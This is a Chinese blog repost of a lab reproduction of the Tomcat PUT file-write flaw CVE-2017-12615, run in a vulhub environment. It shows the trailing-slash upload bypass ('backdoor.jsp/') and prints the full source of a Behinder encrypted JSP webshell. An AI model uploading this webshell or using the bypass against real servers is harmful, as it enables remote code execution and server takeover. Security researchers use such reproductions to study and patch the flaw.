Tomcat任意文件写入(CVE-2017-12615)漏洞复现

Posted 玛卡巴卡巴巴亚卡

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat任意文件写入(CVE-2017-12615)漏洞复现相关的知识,希望对你有一定的参考价值。

 一、漏洞原理

影响范围:pache Tomcat7.0.0-7.0.81(默认配置)

如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞,CVE-2017-12615:远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。只要JSP可以上传,然后就可以在服务器上执行。在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上JSP文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的JSP文件,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

 

二、漏洞复现

1、搭建环境

我使用vulhub

Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

#安装docker-compose

pip install docker-compose

# 安装docker

curl -fsSL https://get.docker.com -o get-docker.sh

sh get-docker.sh

# 测试脚本

curl -fsSL https://test.docker.com -o test-docker.sh

sh test-docker.sh

#安装漏洞环境

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

unzip vulhub-master.zip

cd vulhub-maste

#漏洞环境利用

cd vulhub-master/tomcat/CVE-2017-12615  # 进入需要开启的漏洞路径

docker-compose up -d

 去底层查看源码

sudo docker ps
sudo docker exec -ti 2018aae20ba6 bash
cat conf/web.xml |grep readonly

 

漏洞产生是由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法。

2、漏洞复现

burp抓包,修改GET为PUT上传方式,添加文件名backdoor.jsp/(注意后面要添加/),添加文件内容。

 访问成功,说明文件上传成功

 

我们使用jsp木马上传

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

//冰蝎的jsp马,默认密码是rebeyond

 在虚拟机查看

使用冰蝎访问

 

 

 

 

以上是关于Tomcat任意文件写入(CVE-2017-12615)漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

Java安全-Tomcat任意文件写入(CVE-2017-12615)漏洞复现

Tomcat任意写入文件漏洞(CVE-2017-12615) 复现

Tomcat任意文件写入(CVE-2017-12615)漏洞复现

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

CVE 2020 1938

4W字+上千行代码!Tomcat渗透测试方法大总结,拿来吧你!